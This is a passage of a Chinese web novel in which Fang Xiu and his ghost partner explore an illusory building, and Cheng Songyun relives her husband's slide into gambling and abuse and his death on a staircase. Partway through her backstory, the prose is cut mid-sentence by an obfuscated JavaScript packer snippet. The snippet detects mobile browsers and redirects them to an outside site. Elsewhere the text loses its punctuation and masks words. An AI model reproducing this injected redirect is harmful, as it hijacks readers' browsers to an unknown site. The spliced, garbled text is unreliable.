说到这里,方休忍不住叹了口气。 “因为迄今为止,咱们完全没有‘使用’过这个APP,它没有我们的人生因果。” 鬼焰红光中,关鹤和成松云的脸僵住了。 确实,他们至今没有**,也没有兑换筹码。赠送的那枚筹码被他们捂着吃灰,用来抵挡死忌。 关鹤脑后一阵发麻:“难道说——” “嗯,这已经是‘安全出口’最简单的模式了。” 方休说,“要是那些把血债亲友都兑换了的人 过来……欢喜厄对他们的人生因果了如指掌,那幻象想想就刺激。 关鹤看着周围漆黑的环境,霍格○茨醉酒版一样的复杂楼梯,感觉“最简单的说法有待商榷。 成松云不知道在想什么,指甲一下一下地掐着手心,脸上一丝笑容也没有。 “所以今天只能这样了。 她的语调有点神经质,“我们知道这里面什么样子,但还是不知道路怎么走。如果我能解开心结,稳住因果线…… “成姐,你不好奇吗?方休打断她的碎碎念。“为什么我知道那个平台其实是虚空,欢喜厄都很好奇呢。 成松云双目无神地看着他。 方休放轻声音:“无论欢喜厄怎么伪装,它只能用幻象粉饰现实。也就是说,我们在一栋现实存在的建筑内。 目前看来,“安全出口很特殊,这里没有其他人的因果干扰。 如果说赌场是“现实上做了电影特效妆,无差别迷惑众人。对他们三人而言,“安全出口更像略施粉黛,尽管遮掩了本相,但最贴近现实。 方休仍然不太确定这个地方代表什么,又通向哪里。 但既然欢喜厄对“安全出口十万分提防,它一定是最有效的突破点—— 进入“安全出口后,方休用心记住了踏出的每一步,上升的每一层,在脑海中构建此处的建筑模型。 毕竟现实建筑总要符合逻辑。找到真正的楼梯结构,就能判断相邻的虚空和转角。等彻底搞清这里的结构,幻象就再也迷惑不了他了。 希望这栋建筑不要太复杂,方休心想。 “在这里,我可以通过走过的路,推断现实建筑的样子。 方休冲成松云微笑,“这样速度没有因果之线快,时间应该来得及。成姐,你按自己的步调来就好。 成松云应了一声,指甲深深抠入掌心。 夜晚十一点半,伴随着一阵闪光,他们被传回了门厅。方休快速打量四周,找到了窝在地上抱头蹲防的宋铮。 这个姿势下,他看起来更像蘑菇了。 方休:“宋先生。 宋铮:“……啊! 宋铮摇晃着站起来,貌似腿脚都麻了,连连骂了好几声。发现方休这边三人都还好,他迅速松了口气。 “**.**,里面太邪乎了。宋铮起了一身鸡皮疙瘩,“我刚进门,就回到了办公室你们知道吗?我同事全都在,他们还叫我一起出去吃午饭…… 宋铮直觉疯狂报警,他当场抱头蹲下,一步也不敢动。 无论周围同事们说什么,或者老板 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……又是正正好好十斤**。 可惜方休太瘦没能保住膝盖部分左边只剩下大腿。 昨天的疼痛还未消失今天又添上了更大的伤口。 方休痛得连连吸气眼圈有些发红。饶是如此他仍然勉强保持平衡挣扎着没有倒下。 “把他的左腿切下来给我我需要假肢。”方休指指尚德宝的尸体声音有些干哑。 白双影:“我可以拎着你。” “谢谢但现在还不需要。”方休努力挤出一丝微笑“我还没惨到那个份儿上呢。” 尚德宝的尸体已经僵硬了他的体格相对健壮腿比方休粗一圈。白双影把长度控制得刚刚好粗度却不怎么适配。 方休没抱怨他默默撕碎左边裤腿把那段不太适合的尸腿绑在自己身上。 没有膝盖很难活动动起来比他想象的要重。左腿只能在地上拖着走起到勉强的支撑作用。 这副模样看起来足够凄惨方休很满意。 明天得了空他看看能不能找根棍子之类的东西……明天爬楼的时候当拐棍……糟糕新伤口比旧的还痛。 剧痛带来了眼花与耳鸣。 方休在床边坐下额头抵着自家鬼的胸腹汲取着那份舒适的冰冷。 正如他所猜测的白双影并没有给他任何同情或安慰。 一只冰冷的手轻轻停在方休头顶若即若离。 接着白双影开口道:“我仔细看过‘安全出口’内的幻象精细 但没有变化设计。你今晚再去时,它还会是昨天的模样。” 方休:“……挺好的,省了我们不少事。” 白双影嗯了声。 房间陷入静寂,只有方休忍痛的急促呼吸。 白双影伸出手,抽开了方休左腿上的绑带。那条丑陋的尸腿倒上地板,发出一声闷响。 方休还没反应过来,就被白双影拦腰抱起,夹在了胳膊底下。 方休:“???” 眼下他丢了二十斤**,体重还不到一百斤,白双影拎他和拎包一样轻松。 他的鬼把他放在浴缸里,自己也噗通一声跳了进去。熟悉的冰凉没过伤口,方休脊背上滚过一阵战栗。 方休还没来得及开口,白双影一抹本体探出水面,包裹住方休的双眼。 白双影:“休息。” 眼睛被死死蒙住,方休茫然抓瞎:“可是我们还要去帮成姐抓鬼……” “休息。”白双影重复,“这是朋友的命令。” 不是,朋友间哪有什么命令可言。 想是这么想,方休还是闭了嘴,老老实实泡进白双影的本体。反正成姐就在隔壁,待会儿发现自己晚到,成松云和关鹤应该会来找他。 ……先小憩一会儿,也算休息过了。 方休闭上双眼。 他的两处伤口一片冰冷,疼痛模模糊糊。被白双影环绕着,感觉安心又轻松。 两天的折磨下,他几乎立刻就睡着了。 下个瞬间,白双影抬起眼。一双白眸转向某个方向,在黑暗中散发出莹莹微光。 隔壁房间。 成松云正打算出门,面前突然出现一抹白色虚影。成松云刚想尖叫,突然反应过来——她死去的丈夫没这么长的黑发,也没有这样年轻俊美。 是方休的艳鬼,他怎么单独上门了? 白双影的虚影在俯视着成松云,一张口直击重点:“我来教你稳定因果。” 成松云顿时认真起来:“这是方休的意思?” “你想学还是不想学?”白双影懒得解释,直接无视了她的问题。 “……想。” 艳鬼的话,应该对夫妻之心有所了解。成松云觉得此鬼还算专业对口,也许真的可以给她一些启发。 结果白双影:“今晚你就在这里睡,不要开怨鬼盾。” 说着,他手一勾,因果红线绕着那只漂亮的手轻轻游动,动作颇为亲密。 白双影面无表情地继续道:“你丈夫未能化鬼,又有大量因果残存,说明死时执念较重。我会助你辨清他的执念。” “接下来,就看你自己了。” 第 54 章 今天有云 第54章今天有云 【阶梯的上下。】 白双影与人类打交道时,曾有不少人所求与伤病有关。 他知道,有时面对疼痛,死亡都称得上是解脱。 他也知道,方休是他见过最能忍痛的人类。但先前的疼痛姑且在自然范畴。这次诅咒不一样,它在压榨人类的感官极限。 如果身边没有他,方休这两天觉都别想睡。 这份疼痛换到别人身上,怕是当天就要屁滚尿流狂赌1000筹码,好让疼痛停止。再脆弱点的,怕是连移动身体都做不到。 说实话,方休居然能清醒思考,白双影十分吃惊。 虽然方休看着还有余裕,白双影却不想再赌。 万一第三四次犯忌下来,方休被禁忌削成人棍,在剧痛中疯狂,一切就结束了。 ……现在远远不是结束的时候。 他的面前,成松云咬咬嘴唇。 “其实他应该牺牲我。 白双影静静看着她。 “反正我死活都不愿赌,小方没义务帮我找**。这里邪祟少,他完全可以叫我去杀尚德宝,然后带上关鹤两人探索。 成松云的语气中多了一丝痛苦,“我满脑子都是以前的事,这一路的用处都不如小关。我…… 白双影:“在我看来,你与关鹤一样没用。 成松云:“…… “我只知道一点,方休并不是善心泛滥的人。你与其在这胡思乱想,不如早些派上用场。 白双影听到人类倾诉就烦,方休就从不向他抱怨。 成松云苦笑:“也对。 白双影指示她睡上沙发,无论听到什么、梦到什么都不要睁眼,直到一切结束。 “什么是‘一切结束’?成松云问。 “到时你就知道了。白双影语气冰冷,一如既往。 成松云轻叹一声,闭上双眼。 同一时间,白双影垂下目光,那根因果之线震动不止,周遭出现无数扭曲。它像是想要挣脱白双影的手,却被他牢牢控在掌心。 诸多因果在他眼前飞逝,进入成松云的梦境。 …… 成松云的人生平凡又不平凡。 她出生于一个十八线村镇,与丈夫孙进峰是青梅竹马。两家人关系一直很好,称得上知根知底。 两人打小形影不离。小学初中同班,又进了同一所高中,然后孙进峰去国内顶尖大学,成松云却发挥失常,只考上普通二本。 饶是如此,孙进峰还是在高三那年的暑假,与成松云正式表白了。 彼时,少年看起来热烈又真挚。 成松云的朋友们不太看好这段感 情。她们说孙进峰前途大好,身边优秀的女孩子多,他很快就会变心。 云云,初恋很难有结果,你不要太执着。朋友们怕成松云分手后太过伤心,偶尔会给她打预防针。 成松云从来不听。 “我相信他。她大声说。 ……孙进峰果然没有变心。 大学四年,两人始终保持交流。 他们一起度过大大小小的节日,互赠便宜却可爱的礼物。从这个时候开始,他们有了一个新习惯。 每到新年,成松云总会买上两本日记。一本自己记,一本送给孙进峰。两人会把日记写得满满当当,来年交换,再写新的。 孙进峰写了一手好字,做事也很细心。他保存了每次去见成松云的票根,手机拍下每天的窗景,再彩印下来贴在本子里。 他的宿舍窗外有棵茂盛的树,可以看见大片天空。一年四季时光荏苒,窗景变化得细腻又漂亮。 他说,这样他们就共享了同一个空间。 每当遇见晴天以外的日子,他还会兴高采烈地加一句,今天有云。 就算两人吵架了,日记也不会断。 新年交换之后,他们还会各自去翻看对应日期,瞧瞧对方说了自己什么坏话。 就这样,成松云的书桌上多了一本又一本的日记。她把它们用塑封袋子封好,还特地往袋子里放了防潮小纸包。 她总是会想象,等他们老了,可以再一起看看这些日记,大声笑话对方。 到时候他们一定会笑得很开心。 …… 交换日记积累到四本,两**学毕业。 孙进峰进了癸省一家大公司,成松云则在一家小企业当人事。他们维持着交换日记的习惯,哪怕孙进峰加班忙到昏天黑地,日记也没有断过一天。 他在日记里偷偷跟她讲上司的坏话,或者分享工作上的趣事——办公室有人养的乌龟**,办公室窗台养的多肉开花了。 今天迟到了,今天有点闹肚子,今天也很想念你。 今天有云。 他不再往日记里夹车票,而是会夹每天在外吃饭的小票,以及加班时的搞怪照片。 他仍然会每天拍摄天空,只是宿舍的窗户变成了办公室的窗户。 他的办公室窗外,有着非常漂亮的城市天际线。 就这样,孙进峰写满了两本日记,也在大公司彻底稳定下来。 新年的烟花下,成松云打开了今年交换来的日记。在日记的最后一页,孙进峰藏了一枚钻戒,旁边贴着灿烂的云霞照片。 成松云惊喜地转过头,正看见孙进峰拿出一大束花。 他向她求了婚。 成松云欣然答应,得到了一个用力的拥抱。 也许是认识太久的缘故。婚后生活比成松云想象的要平淡但也很幸福。 孙进峰不烟不酒十分上进。他与女同事相处很有分寸也从不和那些流连按摩店的同事厮混。如果要出差或晚归他一定会和成松云报备。 他们从不忘记生活的重要日子总会给彼此准备惊喜。两人的生活称不上多么富裕但也过得舒适顺心。 就像理想中的“寻常人家”。 哪怕住在了一起两人依旧保留了写日记的习惯。 那些不方便说出口的细小摩擦以及不知道该怎么表达的歉意他们统统写在日记里。 每当遇见晴天以外的日子孙进峰还是会兴高采烈地加一句今天有云。 成松云买了个置物柜把两人的日记都整整齐齐收进柜子和家里的各种重要证件放在一起。 这种感觉很奇妙仿佛她人生中重要的事物全被收进了这个小小的柜子。 …… 置物柜里的日记变成了二十本每人十本。 他们结婚的第四年。成松云的女儿刚满一岁这个小家庭迎来了巨大的变故。 大环境不景气到处都在裁员。孙进峰领导的部门被整个取消成松云也丢了工作。 女儿还小新房的房贷也要还他们的赔偿金顶不了太久。 成松云思前想后鼓足勇气:“我们把房子卖了吧。” 孙进峰红着眼圈看她。 “这个房子太大了住起来挺空的。现在行情还好咱这房子能卖不少钱。” 成松云平静地说“我们可以去买个小点的二手房旧些也没关系不影响孩子上学就行。” 孙进峰看着他们精心装修的婚房声音酸涩:“是我没本事你们娘俩不该跟我吃这个苦……” 成松云笑着摇头:“这算什么苦家还在就够了。” 她兴高采烈地拉过丈夫展示一间小小的房子“这家价格公道户型也很好肯定保值……” 孙进峰揽住妻子的肩看着手机上的示例图片。 这间房子不大只有二室一厅装修旧得要命还没有电梯。但它的客厅有个很大的窗户窗外景色美得像画。 价格确实很合适如果他们置换掉现在的房子手里能多个一百万。 “这次不用凑合精装房了咱们自己设计装修。”成松云笑着说。 她说到做到。他们把小家装修得很温馨 正式搬进去那一天孙进峰抱着女儿一步一步走向他们新的小家。他亲了女儿一口脸上带着淡淡的笑意。 “老婆谢谢你。”踏入新家的第一步孙进峰回过身 郑重地对成松云说。 之后,孙进峰利用自己之前的人脉,艰难创业,忙得脚不沾地。 女儿无人照看,成松云拉扯孩子包揽家务、另打了一份临时工,每天从睁眼忙到闭眼。 孙进峰那边毫无起色,公司无底洞一样吞着钱。他的日记里充斥着自我怀疑、痛苦与担忧。 但他依旧记得透过公司窗户,拍下每天的天气。 成松云的亲戚看不下去,暗暗劝她离婚。都说十个创业九个失败,孙进峰眼看着要破产。成松云一年年忙到死守活寡,到头来说不定要背债。 成松云拒绝得很坚定。 “我相信他。”她说。 ……创业第四年,孙进峰成功了。 扭亏为盈的那一天,他摩挲着成松云粗糙的手背,哭得差点背过气去。 孙进峰一下子变成了千万富翁。 他出名的疼爱妻女,从不在外面乱搞。他买了套漂亮的大平层,一家人搬去高档小区,但他们仍然保留着那个旧旧的小家。 置物柜里放了三十本日记,有些拥挤。成松云单独腾了一个小房间,作为保存日记的书房。 那一年,成松云三十三岁。 接下来的日子平稳又幸福。 成松云四十岁的时候,孙进峰财富自由,宣告退休。夫妻俩时不时出去旅个游,剩下的时间全心全意照顾女儿。 日记一本一本增加着,贴满了两人去各地旅游的照片。 孙进峰特地换了昂贵的相机,坚持拍摄天气,还被女儿嘲笑太过肉麻。 今天有云。 他一遍又一遍写下这句话,从他们青春年少的十八.九岁,写到两鬓出现白发的四十多岁。 …… 事情是什么时候出现不对的呢?成松云至今不知道。 她只记得四十三岁那年的新年,他们没有交换日记。 接着她发现,家里储蓄账户里没钱了。孙进峰笑呵呵地说借给朋友周转,让她不要担心。 然后消失的是她的珠宝。成松云想报警,孙进峰却表示破财消灾,小心招人报复,于是这事也没了下文。 终于,催债的找上门的时候。她突然发现房子不再是他们的房子,家也不再是原来的家。 孙进峰痛哭流涕,他用力扇自己耳光,疯狂向她道歉。 他说他赌了,被人做了局。开始他只是不甘心,想赢回一点儿钱。结果越赌越上头,存款没了,房子也没了。 但他指天发誓,说自己绝对没欠钱。 “云云,我们重新开始好不好?” 孙进峰死死抓住成松云的袖子,“我保证,我不赌了,我真的不赌了,再赌我不得好死。” 成松云头晕目眩了小半天。她想不通 那么一大笔钱怎么就能不声不响地没了? 也许是他们顺利了太久她又想。他们不是没有吃过苦又彼此扶持了小半辈子她怎么能抛下他呢? 只要孙进峰能改一切都会好起来。 他们搬回了那个破旧的小家。 孙进峰开始找工作成松云也做回了临时工。可是他们的女儿对此反应颇为激烈 “他房子都输出去了他根本改不了!妈你得跟他离婚现在还来得及。”女儿苦劝成松云。 成松云沉默许久。 “我相信他。”她叹了口气。 “宝贝你还年轻很多事没那么绝对。” “他有钱的时候一家人好好的他一落魄我就离婚这不是做人的道理。” 女儿急得直跺脚:“他把钱都输光的时候他就没再顾及你了!” 成松云:“你爸爸本性不坏他会改的我一定好好看着他。” 她依旧写着日记记录每一天的痛苦与期望。也许这本日记会有机会送出去的不一定有机会送出去的。 今天收到了催债的短信他以我的名义办了贷款。 今天发现他还在赌他偷偷藏了一个手机。 今天他第一次打了我。 被打的那一刻成松云整个人都是懵的。孙进峰意识到自己做了什么时他噗通一声跪下来又开始哭着道歉。 “是我的错我之前其实欠了八十万……”孙进峰红着眼哽咽“我只是不想你们娘俩跟着我吃苦。我这个岁数了能干的活不多我要怎么还八十万……” “云云我只是想留下这个房子我不想卖这个房子这是我们的家啊。” 她仍然相信他。 第二次被打是因为她发现家里相机消失了去质问孙进峰。他恼羞成怒当场给了她一耳光。 被打后她再次收到丈夫泪眼模糊的道歉。 “是我没忍住我一下子赢到二十万我应该及时收手……” “我知道你很失望真的就这一次我再也不赌了!” 她仍然相信他。 然后是第三次第四次…… 成松云继续写着日记她发现自己变得有些麻木。第一次看到孙进峰在她面前红眼眶她只觉得心痛如绞。现在看他满脸是泪她毫无感觉。 她翻出他们大学时的交换日记手指轻轻摸过那句飞扬的“今天有云”。 最近一次孙进峰动手她的腿差点被打断。她看着面前咆哮的胖男人突然想不起这个人原本的样子。 是她说错了什么吗?还是她没有找到正确的办法? ……她仍然想要相信他可 她快要坚持不下去了。 得知成松云想离婚,孙进峰大发雷霆。 “你这辈子挣过几个钱,不都他妈吃我的用我的?现在老子没钱了你想跑,我之前怎么没发现你这么贱呢?” 骂完之后,他又哀求起来。 “对不起云云,我不是东西,我猪狗不如……我只有你了,我就算出去送外卖也会把债还清,你信我这一次好不好?” 说着,他从厨房拎出刀,当着成松云的面砍断了左手小拇指。 成松云被这血淋淋的场面吓住了,当即带着孙进峰去医院,也不敢再提离婚的事。 再撑一撑吧,她想。 这一次,他一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705285|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会改的。 …… 成松云的女儿大学毕业,顺利找到工作,结了婚。 她不想和赌徒父亲来往,只愿意和成松云在外面见面。每次看到成松云身上的伤,她都要劝母亲离婚,说着说着就痛哭失声。 外面女儿哭,家里丈夫哭。成松云不知道自己的人生哪里出了差错。 她惊讶地发现,自己似乎适应了这种可怕的生活。 如今她打零工,做家务,帮忙还债,偶尔被打,一天又一天循环。 孙进峰还在赌,根本不屑于做一个月几千块的工作。她一提钱,孙进峰就打她。他爱上了喝酒,喝多了也打她。他知道打在别人看不见的地方,也知道怎么打不会被罚,殴打后的道歉越来越敷衍。 而她一提离婚,孙进峰就寻死觅活,大吵大闹。 成松云听说起诉离婚很麻烦,搞不好要拖个一两年。她有时受不了想搏一把,有时又想,自己都四十九了,再活不了多少年。 可能她这辈子就这样了,成松云想。 放日记的柜子落了灰,她很久没有再打开它。 事情的变化出现在新年。女儿一脸惊恐地找到她,说孙进峰找到她的家里要钱。 怕孙进峰胡来,女儿的赡养费一直单独打给成松云。结果孙进峰咬死说她不赡养,还要去她的单位**。 女儿女婿被逼的没办法,拿出一万块把他打发走了。可惜不到三天,孙进峰又找上了门。 女儿不堪骚扰,果断决定搬家,然而…… “妈,他找到了聪聪的幼儿园。” 桌子对面,女儿情绪近乎崩溃,“他自称孩子姥爷,说要接孩子……他有和聪聪的视频和录像,也有我和我老公的号码。我一时没接到电话,他把孩子接走了……” “这次他又跟我要钱,我怎么办啊,妈……” 聪聪是成松云的外孙,今年刚满三岁。 这一次,成松云沉默了很久。 成松云和孙进峰自记事起就待在一起,她知道他所有的习惯。 比如孙进峰走楼梯的时候一定要靠着扶手。 比如不及时把酒收拾起来,孙进峰就会喝光。 再比如,孙进峰打她的时候,总要斜斜往前跨一步。 风平浪静的五天过去,醉醺醺的孙进峰扶着栏杆爬上楼。他发现,自己的妻子正在楼梯上方等他。 “又怎么了?”他不耐地问。 成松云:“你缺钱就跟我说,不要跟女儿要。” “我咋不能要,那他妈就一白眼狼!”孙进峰大骂,“我在她身上花了几十万,现在要个两三万还废话!” 成松云:“聪聪总不是你养的。” “姥爷,嗝,姥爷带外孙玩,违法吗?聪聪喜欢我,我明天还去……” 成松云闭上眼:“我最后再说一遍,你缺钱就跟我说,不要把孩子们扯进来。” “……你还记得你第一次走这条台阶的时候,说过什么吗?” 孙进峰嗤笑一声:“谁记得那玩意儿?” 他扶着栏杆,斜斜上前一步,伸手去抓成松云。然而他这一脚下去,踩到了什么黏滑的东西,像是内脏。 他醉酒的大脑没来得及反应过来,便彻底失去了平衡,朝楼下倒去。 他的手离成松云不到一拳距离。那一瞬间,他朝成松云睁大眼,表情几乎是茫然的。 成松云想给孙进峰一个教训,最好让他摔断腿。这样她能彻底控制他,孙进峰无法打她,无法骚扰女儿一家,也没法偷偷**。 虽然这样的手段有些粗暴,但她觉得值得,她早该这么做。 或许……或许她还能剥掉这人层层外壳,找回她所熟悉的爱人。 她深爱的丈夫存在了四十多年,她面前的怪物诞生还不到十年。她的丈夫肯定还在,他肯定还沉睡在某个地方,不可能彻底消失。 于是她目睹他坠落。 孙进峰后脑磕上台阶,发出一声闷响。 他瘫软在阶梯下方,闪烁的声控灯下,红色不断蔓延。他仍然大睁着双眼,直愣愣地看着成松云。 成松云扶着台阶,俯视那具熟悉又陌生的尸体。 她记得,他们第一次走上台阶的时候。孙进峰紧紧抱着他们的女儿,笑得十分幸福。 “囡囡跟着爸爸受苦了,以后爸爸给囡囡买大房子,爸爸保证不让囡囡遭罪。” 他轻轻亲吻着女儿的面颊,生怕胡茬扎痛了她。 刚才他说,谁记得那玩意儿。 成松云盯着那双迷茫而震惊的眼睛。 她记得第一次送女儿去幼儿园时,孙进峰比她还舍不得。 “孩子长得太快了。”他的目光迷茫而震惊,“怎么这么快……囡囡在里面害怕怎么办,咱们能不能晚点再送她去幼儿园 ?” 几天前,他从幼儿园里带走了女儿的儿子,只为了想办法要点钱。他说他还要这么做。 最后,成松云望向那些血。灯光之下,它红得刺目。 孙进峰向她求婚的那一天,选的花束也是这样刺目的红色。 “我会一辈子对你好!” 她从没见过他那么认真的样子。 现在他**。 意识到这件事的一瞬,成松云第一个念头不是恐惧,而是惊讶。 她再也找不回她的爱人了,四十二岁那年的“今天有云”,是那个人留给她的绝笔。 ……那怎么会是绝笔呢? 她无法控制地想到那些日记,想到一张又一张的天空。 成松云慢慢蹲在地上,整个人仿佛变成木偶,一点表情也做不出来。 ……她是不是做错了,或者做得不够好,没找到救下他的办法? ……他们是不是可以有不同的结局? 恍惚之间,一根红线从尸体中蜿蜒而出,蛇一般爬到她的面前,成松云下意识抓住了它。 数道执念涌入她的脑海。不知为何她知道,它们属于阶梯下的死者。 【必须得翻本,不然我的人生算什么?】 【我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢我要赢……】 成松云找了很久,没有找到其他东西。没有悔恨,没有愤怒,没有恐惧。 没有家,没有她,没有女儿,也没有今天的天气。 原来一个人是可以活着“死去”的。 原来他们之间,早就有了结局。 成松云抓紧那根红线,她无声地落下眼泪,最终嚎啕大哭。 无尽痛苦中,万物化作雪白。 成松云睁开眼,满脸都是眼泪。 “很好,你参透了。” 白双影掌心之上,红线无比凝实,有如实质。 成松云抽噎着嚅动嘴唇:“你一直看着?你……” “不必在意,我不会评判。” 白双影仍然没有什么表情。 “……人间寻常事罢了。” 第 55 章 临行道别 第55章临行道别 【养不熟的人。】 方休再睁开眼时,他看见了灿烂的阳光。 他蜷缩在白双影本体内,像只离不了水的软体动物。 白双影胸口以上仍是人形。他斜靠着浴缸一端,长长的黑发四散,搭在光滑的白瓷缸沿上。此刻他正专注地看着方休,脸上照旧没什么表情。 “我睡了一整晚?”方休诧异道。 糟糕,他说好了帮成松云抓鬼来着。该不会成姐看他太惨,选择强撑吧? “成松云因果落定,今晚可用因果之线寻路。”白双影说。 他抬手一点,将那段因果打入方休的脑海。 正如每次解厄,方休顷刻间便知晓了成松云杀夫的来龙去脉。 方休安静了会儿:“成姐想通了啊,看来她不会再害怕‘鬼魂’了。都说不做亏心事,不怕鬼敲门嘛。” 他坦然接受了成松云的故事,并未露出感慨的神色。 白双影都做好了腹诽人类的准备,这样的方休让他有点不习惯。 “你似乎不太意外。”他说。 方休揉了揉肩膀:“你知道人类最可怕的一点是什么吗?” 白双影:“?” “人会改变。” 方休说,“有些谎话一开始并非谎话。在那个时点,无论是爱意还是承诺,都是真心的。” “对于没有改变的那一方来说,这比‘受到欺骗’还要恐怖。如果仅仅是被骗,他们只需要憎恨骗子,最多责备自己一时糊涂。” “但如果不是……他们会不停自我怀疑,怀疑自己对于世界的认知,怀疑自己是否哪里做错了,从此陷入漫长的痛苦。” 方休转眼看向阳光下的山林,“有时真话也可以变成谎言,人就是这么神奇。” 白双影思索:“你很习惯这些事。” “这是小学骗术基础课。”方休冲他挤挤眼。 白双影吃惊:“现在的人类有骗术课?” “没有,骗你的。” “……” 方休看着板起脸的白双影,毫不顾忌地笑了几声。接着他习惯性想要起身,随即才意识到自己没了左腿,一下子摔回浴缸。 脱离白双影本体的刹那,伤口再次燃起剧痛。方休的嘴唇很快没了血色,额头渗出细细的汗珠。 白双影:“今夜及时破坏欢喜厄,你无需面对第三次犯忌……” “白双影。”方休打断了自家鬼。 他选择狼狈地爬出浴缸,艰难地坐到床头上。 “怎么?” 方休语气认真:“你帮成姐凝结了因果之线,我很感激。但是下一次,我希望你能在行动前告知我——我非常 、非常讨厌事情脱离掌控。 白双影不以为意:“否则? “唔,我猜你不在乎我是否真心,那我说点实在的。 方休转过头,汗湿的刘海间露出那双黑眸。 “第一次祭祀后,你变得越来越主动。这场禁忌没有生魂可吃,你却比第二场祭祀还要积极。 “这说明你想从我这里得到什么,不仅仅是地府奖励或者美味生魂,还有其他东西……某种更重要的东西。 那双黑眸亮闪闪的,那不是宝石般的明亮,更像刀尖的闪烁。 “白双影,我希望我们可以继续做‘朋友’,凡事好好沟通。 “否则,无论你想从我这里得到什么,我保证你会失败。 好麻烦啊,白双影心想。他想做某件事的时候,真的很不习惯配合他人行动。 算了,不至于为这种小事扰乱他的解封大计。他们的目标姑且一致,麻烦点就麻烦点吧。 倒是方休刚才的眼神很熟悉,白双影总觉得自己在哪里见过。那眼神很不敬,但他并不讨厌。 “下次我会跟你说。白双影回应道。 方休笑得格外开心:“嗯! 那双眼睛里溢满快乐,方休总喜欢这么看着他。 白双影无法理解。 最近这段时日,白双影还以为一些适当的照料,能让他彻底稳住方休。 效果确实有,方休对他越发亲近,白双影瞧得出来。 然而通过刚才的谈判,他同样能看出,方休分毫不信邪祟会对自己产生感情——哪怕是最最基础的同伴之情。 方休知道他别有所图,这个人类清醒得让他无言。 ……既然知晓一切,你为什么还要这样看着我? ……那份情绪是在欺骗我吗? ……你究竟在想什么? 白双影还在努力思考,方休已经绑好尸腿假肢,准备迎接访客。 …… 成松云的双眼肿成了桃子,大概哭了一整夜。但她身上某些东西改变了——像是在空中飘舞已久的枯叶,此刻终于落地。 关鹤也成功睡了一整夜,黑眼圈浅了许多,精神非常好。 两人看到方休的身影,刚想说什么,就被那条尸腿结结实实吓了一把。 尸腿上全无血色,皮肤粗糙皴裂,泛着古怪的蜡黄。上面还长满了弯曲的腿毛,和方休的风格完全不搭。 “没办法,没假肢嘛。方休坐在床边,尽量压制住疼痛的喘息。 接着到来的是蘑菇三人组。 蘑菇们实诚多了。看到尸腿的第一秒,小田就大叫了一声,险些一屁股坐在地上。宋铮和小李也瞬间后仰,当场挤出双下巴。 “小李,小李你赶紧的 !”回过神来小田疯狂推搡小李。 小李硬着头皮上前他从口袋里掏出一个桃核往地板上一丢。 下一秒 他们面前出现了一艘结结实实的桃木船。船内坐着木雕船夫和游客离他们最近的船夫疑惑地瞧了圈儿:“这里怎么又没水啊?……啊啊啊啊你干啥?!” 只见小李大踏步上前抓住船夫的船桨就抢。 船夫敌不过力量增强的小李气得在船上直跺脚:“水匪水匪唉!” 没等船夫骂出更多小李便将桃核变小又塞进口袋。 哪怕进了口袋那枚桃核还是弹动不止发出细小又不满的骂声。 小李干笑:“这东西是桃木做的我们一般把它放出来抵抗邪祟。里头的人就是脾气大了点没别的毛病。” 抢来的船桨还是实物大小他把它递给方休:“你看这个能不能用?” “少个船桨不要紧吗?”方休好奇道。 “船夫会自己再做虽然我不清楚他从哪里搞的上次我还薅过他的帽子呢。”资深水匪小李解释道。 方休悟了:“可能这就是超自然的鬼斧神工。” 眼看方休收起那条毛茸茸的尸腿小田这才松了口气。 她拍拍胸口看向四周:“诶那个白衣服帅哥呢?” 方休:“?” 宋铮脸上挂不太住:“小田!” 小田嘀咕:“刚刚看了超恶心的****腿我就想洗洗眼睛。我又没别的意思就觉得那张脸不放出来特别浪费……” 方休欣慰:“你很懂嘛。” 小田:“就是说啊。” 宋铮闭目:“……你也可以看看小李和我。” 小田目光扫过两位队友礼貌地呃了两声:“我还是先说正事吧。” 她从方休准备好的早餐里挑了个罐头神情严肃下来。 “昨天我一直盯着阿清和贾旭贾旭又用了一次‘借运骰’。” 关鹤震惊:“他疯了?” 小田啧了一声:“不厚叔叫他‘立个威’。厚叔把那群落魄的人全叫过来旁观让贾旭演示法器的力量。” “厚叔还公开表示他绝对不会强制贾旭使用骰子。如果有人想要借用这份力量得看贾旭本人的心情。” “那他还展示个什么劲儿?”关鹤不明白。 成松云轻咳两声嗓子还有些哑:“这样一来大家都知道这地方还有‘稳赢’的手段。会有更多人管厚叔借筹码——自己能赢正好输了还有贾旭这条后路。” 小田翻了个白眼:“后路不后路可难说贾旭昨天用完借运骰后运气差得一比 连输好几把。 方休比划船桨的动作顿了顿。 小田:“不过他也就赌了三四次,还是我不懂的扑克玩法,我也看不出他是运气差还是怎么样。要说倒霉,当初阿清比他倒霉多了…… 说完她叹了口气,貌似在缅怀阿清的倒霉时光。 “……厚叔开始找我们麻烦了,他的人一直跟着我和小田,问宋哥去了哪里。我按约定好的讲了实话,就说你们几个不死心,雇宋哥探索那个安全出口。 小李接话道,他有些担忧地瞥方休。 方休没什么情绪波动:“然后呢? “我听宋哥说了,那个安全出口里面净是幻境,特别难搞。其实之前也有人试过,基本全被幻境逼了出来,还有几个倒霉蛋死在了里面。 小李挠挠后脑,“今天如果你们还要去的话,宋哥他恐怕…… “放心,我们今天不带宋铮。方休瞧了成松云一眼。 关鹤精神一振:“方哥你找到办法啦?那咱们今晚—— 方休:“也不带关鹤。 关鹤:“…… 关鹤:“……啊? “厚叔不是个好对付的角色,虽然只是第二晚,我需要更多烟雾.弹。 方休有条不紊地安排道,“今晚宋铮照常去赌场,该干什么干什么,有人问就说实话——说那个安全出口特危险,我们一开始就走散了,你觉得这事没谱。 宋铮相当诚实:“看起来确实没谱。 “小关,你今晚也去赌场,去把你的血债兑出来。 “贾旭他们肯定会立刻过来关心你,你就做出挣扎的模样,表示跟着我好像没希望。切记,无论贾旭跟你说什么,你都不要下手**。 关鹤了然。 